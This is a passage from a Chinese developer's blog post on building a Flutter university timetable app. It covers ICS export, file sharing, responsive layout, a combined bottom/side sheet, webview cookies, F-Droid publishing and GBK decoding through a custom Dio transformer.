class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esummary\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estopTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTSTART:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DTEND:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ehours:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]),\u003c/span\u003e \u003cspan class=\"nl\"\u003eminutes:\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estopTime\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e])).\u003c/span\u003e\u003cspan class=\"n\"\u003eformat\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003epattern:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyyMMddTHHmmss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003evevent\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003edescription\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003eEND:VCALENDAR\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e分享方式,在移动端使用了\u003ca class=\"link\" href=\"https://pub.dev/packages/share_plus\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003ccode\u003eshare_plus\u003c/code\u003e\u003c/a\u003e, 这个库很简单。我要记一笔关于临时文件的东西。这个东西分享文件,是先在软件的临时目录中保存,然后分享,临时文件的清理就交给了系统。我是自己写了一套保存到临时文件,分享后立刻删除的机制。顺便,一定要设定\u003ccode\u003emime-type\u003c/code\u003e为\u003ccode\u003etext/calendar\u003c/code\u003e,要不然存的就是纯文本文件。\u003c/p\u003e\n\u003cp\u003e在桌面端,则使用\u003ca class=\"link\" href=\"https://pub.dev/packages/file_picker\" target=\"_blank\" rel=\"noopener\"\n \u003efile_picker\u003c/a\u003e库,通过里面\u003ccode\u003esaveFile\u003c/code\u003e函数获取到要存储的位置,然后进行保存。\u003c/p\u003e\n\u003ch3 id=\"显示未安排课程和课程调整信息\"\u003e显示未安排课程和课程调整信息\u003c/h3\u003e\n\u003cp\u003e这两个页面分别读取状态里面的未安排课程信息和课程调整信息,然后展示,没了()\u003c/p\u003e\n\u003ch3 id=\"添加课程页面\"\u003e添加课程页面\u003c/h3\u003e\n\u003cp\u003e这个页面,在功能上只是对接控制器 -\u0026gt; PDA 自己的代码,但是我们还是需要搞明白咋传的数据。\u003c/p\u003e\n\u003cp\u003e我们需要以下数据:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程名称,老师,地点\u003c/li\u003e\n\u003cli\u003e上课周次,时间(星期几上课,第几节课开始,第几节课结束)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e前面的都好办,仨输入框控制器解决问题。后面时间的获取稍微有点麻烦,需要用到一个布尔数组和三个整型变量,代表周次和上课开始结束。上课周次是一系列的按钮,按啥改变数组对应的地方。选择周次和上课开始结束则涉及到\u003ccode\u003ewheel_chooser\u003c/code\u003e,一个根据纵向\u003ccode\u003ePageView\u003c/code\u003e,每页变化时候执行相应函数的组件。详情请阅读这些代码,非常直观。\u003c/p\u003e\n\u003cp\u003e当用户决定提交的时候,判断用户数据是否符合要求:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e必须输入课程名称\u003c/li\u003e\n\u003cli\u003e上课时间不能大于下课时间\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e之后,将用户的输入转成课程信息和时间安排,执行控制器对应的代码,更新课程表页面。\u003c/p\u003e\n\u003ch2 id=\"横屏幕和竖屏幕\"\u003e横屏幕和竖屏幕\u003c/h2\u003e\n\u003cp\u003e(来自 v0.1.0 发行概要)\u003c/p\u003e\n\u003cp\u003e我的程序做了一点平板的优化,我由此更加了解了 Flutter 的响应式开发。\u003c/p\u003e\n\u003ch3 id=\"如何在-flutter-侦测横屏幕竖屏幕\"\u003e如何在 Flutter 侦测横屏幕竖屏幕\u003c/h3\u003e\n\u003cp\u003eFlutter 本身有很多的属性部件,比如\u003ccode\u003eTheme\u003c/code\u003e用来访问主题属性,\u003ccode\u003eNavigator\u003c/code\u003e访问路由栈之类。这里我使用的是\u003ccode\u003eMediaQuery.of(context).size\u003c/code\u003e,这是用来侦测当前页面长宽高状态的。实际上,上面我提到的很多高度检测啥的,都是用这个实现的。\u003c/p\u003e\n\u003cp\u003e而侦测屏幕位置,有两个思路:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e长宽比,长大于宽就是横着,否则就是竖着。\u003c/li\u003e\n\u003cli\u003e之前我看到一篇文章说宽度 480 是个坎,小于算竖着。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我这里使用了后者的想法,前面的想法我就不写了:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e480\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便说一句 LayoutBuilder, 是用来给部件加约束的组件,具体看官方指南吧。\u003c/p\u003e\n\u003ch3 id=\"我的-bothsideview\"\u003e我的 BothSideView\u003c/h3\u003e\n\u003cp\u003e先给大家看看这玩意到底是个啥东西:\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/both.side.sheet.gif\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如你所见,在竖屏的时候,他是从底往上呼出的,跟 \u003ca class=\"link\" href=\"https://m3.material.io/components/bottom-sheets/guidelines\" target=\"_blank\" rel=\"noopener\"\n \u003eBottomSheet\u003c/a\u003e 一样;在横屏的时候,他是从右向左呼出的,和 \u003ca class=\"link\" href=\"https://m3.material.io/components/side-sheets/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eSideSheet\u003c/a\u003e 一样。\u003c/p\u003e\n\u003cp\u003eFlutter 的 Material 框架本身没有实现 SideSheet ,而对于横屏来说,BottomSheet 是十分浪费屏幕,而且不太好看,从左面呼出是更合适的。得亏有很多的大佬,自行实现了 SideSheet 插件,我可以直接拿来使用他们的概念,但我想把这两个结合在一起。\u003c/p\u003e\n\u003cp\u003e而为啥要将这两个东西合在一起呢?这就涉及到实际使用中,我们是如何呼出 BottomSheet 了。\u003c/p\u003e\n\u003cp\u003e呼出 BottomSheet 和呼出 Dialog 一样,是使用了一个函数,在这里,叫 \u003ccode\u003eshowBottomSheet\u003c/code\u003e。这玩意有个问题,他本质上是往路由栈里面压入一个 BottomSheet 页面栈,也就是说,无论横屏幕还是竖屏幕,他永远是 BottomSheet,而不会变化一点。我一开始用了 SideSheet,结果发现横屏开了 SideSheet,竖屏过来了还是 SideSheet,他们之间不会互相转化。\u003c/p\u003e\n\u003cp\u003e那我就缝合吧,SideSheet 好办,抄过来先辈的代码就好了,顺便我抄过来使用 \u003ccode\u003eshowGeneralDialog\u003c/code\u003e 来显示弹窗了。但是 BottomSheet 本身并没有任何代码资料,我只能自己写了。我使用了 StatefulWidget 来保存 heightForVertical 变量,这是个高度变量,默认为页面高度的 80% 。然后我使用了一个 GestureDetector ,手势侦测器。这个侦测器在拖拽最上面的小横杠时候进行当前高度检测,然后更新高度。这里我将收起的高度定为页面高度的 40% 。\u003c/p\u003e\n\u003cp\u003e这里我说明一下 BottomSheet 和 SideSheet 的特点,他们都可以分成两个部分,上面的和下面的。下面的是传参传进来的部件,上面的就是属于部件的东西了。\u003c/p\u003e\n\u003cp\u003e最后再说一句,原来的 SideSheet 的最上面是使用 \u003ccode\u003eAppBar\u003c/code\u003e 实现的,但是 AppBar 会侦测手机的状态栏,最终导致在某些情况下,上面的高度过高。我被迫自行实现了这里,搞得很难看。\u003c/p\u003e\n\u003cp\u003e本组件代码在\u003ccode\u003e/lib/page/public_widget/both_side_sheet.dart\u003c/code\u003e,可能我考虑发个包。\u003c/p\u003e\n\u003ch3 id=\"pageview-组件使用\"\u003ePageView 组件使用\u003c/h3\u003e\n\u003cp\u003e还是跟组件状态玩命。\u003c/p\u003e\n\u003cp\u003e原先,我的首页是抄的 \u003ca class=\"link\" href=\"https://flutter.github.io/samples/material_3.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 M3 实例\u003c/a\u003e。这样我就可以在横屏幕时候使用左侧的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-rail/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationRail\u003c/a\u003e,竖屏幕的时候使用底部的 \u003ca class=\"link\" href=\"https://m3.material.io/components/navigation-bar/overview\" target=\"_blank\" rel=\"noopener\"\n \u003eNavigationBar\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e那么,问题在哪?我原先写的组件,将横屏渲染和竖屏渲染函数给分开写了。结果就导致前几天我迁移首页四个卡片到 PageView 的时候,出现了横屏和竖屏切换时候,页面永远会刷新到第一页。一开始我看了好久的 StatefulWidget 的状态周期,我也没明白。最后我发现,我这是两个组件,每次刷新的时候都会重新绘制这两个组件。解决方法就是,将这两个组件合二为一,在一个组件里面渲染,使用 \u003ccode\u003eVisibility\u003c/code\u003e 组件按需隐藏。\u003c/p\u003e\n\u003ch2 id=\"webview-cookie-相关\"\u003eWebview Cookie 相关\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003e想在 Flutter 使用 Webview ,你可以使用两个插件:\u003ca class=\"link\" href=\"https://pub.dev/packages/webview_flutter\" target=\"_blank\" rel=\"noopener\"\n \u003ewebview_flutter\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://pub.dev/packages/flutter_inappwebview\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_inappwebview\u003c/a\u003e。前者是官方开发,功能基础;后者是第三方开发,功能强大。我为了保证简洁,使用的是前者。\u003c/p\u003e\n\u003cp\u003e关于插件,网上很多资料都是很老的,我参考了这位的文章:\u003ca class=\"link\" href=\"https://juejin.cn/post/7196698315835260984\" target=\"_blank\" rel=\"noopener\"\n \u003e在 Flutter 中使用 webview_flutter 4.0\u003c/a\u003e,其中最有用的是第三篇,讲怎么用 Cookie 的。我的程序是这样写的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWebView 页面中,接受要前往的网站和获取 Cookie 的网站。\u003c/li\u003e\n\u003cli\u003e在 initState 状态下,初始化 Webview 的 CookieManager 和 Controller。WebView 的控制器可以控制加载,页面前进和回去。\u003c/li\u003e\n\u003cli\u003e在 didChangedDepencies 状态下,根据获取 Cookie 的网站,从 Dio 的 CookieJar 中获取 Cookie。然后控制器请求对应网站。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体代码在\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/homepage/toolbox/webview.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后,这个玩意貌似在 iOS 平台下有 bug,Cookie 死活加不进去,我已经彻底摆烂了:P\u003c/p\u003e\n\u003ch2 id=\"上架-f-droid-平台\"\u003e上架 F-Droid 平台\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003eF-Droid 有两个好:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e开源的东西多,就是好\u003c/li\u003e\n\u003cli\u003e目前我程序在安卓平台唯一可以“自动更新”的方式\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFlutter 程序上架,除了官方的,可以参考这位的\u003ca class=\"link\" href=\"https://friesi23.github.io/flutter/android/fdroid/appstore/2023/06/08/submitting-your-flutter-app-to-fdroid.html\" target=\"_blank\" rel=\"noopener\"\n \u003e上传指南\u003c/a\u003e。我想补充两点————可重复构建,分开架构构建:\u003c/p\u003e\n\u003cp\u003eF-Droid 的可重复构建,对我而言,最主要的就是使分发都带上我的签名。这就需要保证构建元数据需要你签名的 sha256 摘要,和一个可供对照的构建(在我这里就是我在 Github Action 上面的构建)。\u003c/p\u003e\n\u003cp\u003e分开架构构建,就是按照手机架构(arm64,arm32,x86)来构建分发包。这个东西,貌似每个架构的版本构建号还不一样。当时写构建元数据的时候,写到弃疗。他们 F-Droid 的审核人好好,帮我写了T_T\u003c/p\u003e\n\u003cp\u003e我的上架过程可以看看\u003ca class=\"link\" href=\"https://gitlab.com/fdroid/fdroiddata/-/merge_requests/13537\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e,合并请求后四天,真正上架。你们可以从这里\u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/packages/io.github.benderblog.traintime_pda/\" target=\"_blank\" rel=\"noopener\"\n \u003e点进链接下载\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e另外说为啥来这里上架,我这软件确实是自由软件。还有,国内上架需要这个那个的,感觉好麻烦,而且已经有电表了,再上架一个感觉也吸引不了多少。\u003c/p\u003e\n\u003cp\u003e(现在更好了,备案号我是有,但我是个人名义,很多平台不认2333)\u003c/p\u003e\n\u003ch2 id=\"双创需求大厅相关\"\u003e双创需求大厅相关\u003c/h2\u003e\n\u003cp\u003e(来自 v0.2.0 发行概要)\u003c/p\u003e\n\u003cp\u003e这个东西,主要是使用了 Dart 3 的最新语言功能:Records。详情\u003ca class=\"link\" href=\"https://juejin.cn/post/7233067863500849209\" target=\"_blank\" rel=\"noopener\"\n \u003e看这个文章\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e我没记错,go 好像能一次性返回两个值。一开始我感觉很神奇,然后相似的东西就降临到 Flutter 了。说回来,如果没有这个东西,我会考虑 Pair / List,大不了写个 class 。\u003c/p\u003e\n\u003cp\u003e双创需求大厅本质上跟找工作网站差不多,都得有个 Popup 来选择职位状况。这个东西的服务器筛选工作,是需要两个东西:一个 String 传大致分类,一个字符串数组传输 tags。我选择这俩东西的部件是写在外面的,需要返回数据的话,我直接写 \u003ccode\u003e(String, List\u0026lt;String\u0026gt;)\u003c/code\u003e 就可以了。读取的这些数据的话,可以通过 \u003ccode\u003e$1\u003c/code\u003e 或 \u003ccode\u003e$2\u003c/code\u003e 来读取。\u003c/p\u003e\n\u003cp\u003e不过这玩意现在只有五个数据,以后会不会变多呢?也许我能通过这个,说一波我程序和xxx合作?\u003c/p\u003e\n\u003ch2 id=\"关于物理实验乱码处理和-dio-转换器\"\u003e关于物理实验,乱码处理和 Dio 转换器\u003c/h2\u003e\n\u003cp\u003e(来自 v0.4.0 发行概要,其中 Iconv 内容是本版本新添加的)\u003c/p\u003e\n\u003cp\u003e我们学校目前的物理实验服务器使用的是 2005 年的 ASP 技术,重点在 2005 年。实际上技术差点也没啥,但是有两点属实离谱:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e所有的信息都是用 GB2312 编码的。\u003c/li\u003e\n\u003cli\u003e传回的 Cookie 有中文字符的字段。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e其中第二点是最离谱的。\u003c/p\u003e\n\u003cp\u003e对于 Dart 底层的默认 UTF-16 String 来说,这俩点属实头疼。\u003c/p\u003e\n\u003ch3 id=\"乱码处理\"\u003e乱码处理\u003c/h3\u003e\n\u003cp\u003e乱码实际上很常见,常知道的锟斤拷梗就跟这个相关。毕竟汉字跟英文一样,在电脑底层都是需要用二进制编码来表示的。简体中文汉字有两个主要编码:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e国标码:一个用于编码汉字和一些日韩字符的国家标准,主要有 GB2312,GBK,GB18030 三个标准,呈现继承与发展(向下兼容)的特性。请查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/453675608\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e来搞清国标码(GBK)相关。Windows 默认就是这个编码。国标码是定长编码,基本使用两个字节(16 位二进制位)来表示一个汉字。\u003c/li\u003e\n\u003cli\u003eUTF 编码:国际上有个统一码联盟,他们负责给全世界所有的字符编码,称为 Unicode。很早他们就支持了中日韩三个语言字符的编码(由于文字特性,中日韩字符在他们的体系中,在一个分区)。Unicode 只是规定了字符对应的二进制表示,但实际使用,位数过长而且浪费很多,所以实际使用只能继续缩短,使用更短的变长编码,称为 UTF。UTF 分成很多版本,一般代表了最短编码位数是多少。Linux / Mac + 互联网数据一般都是用这个编码。详情可以查看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/427488961\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e说到变长编码知识,计算机组成会讲汇编命令是如何编码的,那里会讲的。\u003c/p\u003e\n\u003cp\u003e很明显,如果用 UTF 编码解析国标码,绝对会解析出不正常的数据。大巧不巧,Dart 语言的 String 本质上是一个 UTF-16 编码的序列。于是问题就产生了。\u003c/p\u003e\n\u003cp\u003e国标码是定长编码,而 UTF 是变长编码,很显然是基本没法兼容的。不兼容还好,在我的实践中,用 UTF 编码先编码回二进制信息,然后用国标码解码信息,大概率是无法得到正确的数据。\u003c/p\u003e\n\u003cp\u003e所以我目前程序中,需要让网络库不能用 Dart 的 String 来解码我的数据,我需要一个支持国标码的解码库。\u003c/p\u003e\n\u003ch3 id=\"dart--flutter-的-gbk-解码库\"\u003eDart / Flutter 的 GBK 解码库\u003c/h3\u003e\n\u003cp\u003e这个实际上有两种:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e流行方案:使用 UTF 和 GBK 的码表一一对应,方便转换。这个方式对平台很灵活,缺点需要让我程序增大 500k 左右,而且这种方式在执行时候也会有些慢。\u003c/li\u003e\n\u003cli\u003e调用系统的解码接口来解码信息,我使用的是这个方案。但是缺点也很明显,如果没有对目标系统适配,解码就很难办。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e最终我使用的是这个库:\u003ca class=\"link\" href=\"https://pub.dev/packages/charset_converter\" target=\"_blank\" rel=\"noopener\"\n \u003echarset_converter\u003c/a\u003e。它目前能 Windows,Android,iOS 三个系统的转码,而且使用很方便。他支持很多编码,但我主要用国标码。\u003c/p\u003e\n\u003ch3 id=\"关于-dio-的转换器\"\u003e关于 Dio 的转换器\u003c/h3\u003e\n\u003cp\u003eDio 的网络请求使用的是过滤器流水线模式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eHTTP 请求 -\u0026gt; 若干拦截器 -\u0026gt; 转换器 -\u0026gt; Dart 底层实现或系统网络实现\n响应的二进制码 -\u0026gt; 转换器 -\u0026gt; 若干拦截器 -\u0026gt; HTTP 响应\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e拦截器一般处理 Cookie,判断响应码之类。目前 Dio 的拦截器不支持异步方法。\u003c/p\u003e\n\u003cp\u003e转换器 Transformer 是一个二进制码和 HTTP 请求响应结构互相转化的桥梁。默认的 Transformer 是解码后用来对 body 进行判断的。由于我上面提到,不能用 UTF 先编码再解码,所以我定制了一个 Transformer,称为 \u003ccode\u003eExperimentDioTransformer\u003c/code\u003e。在一些基本对 Body 的二进制解析后,直接用 GBK 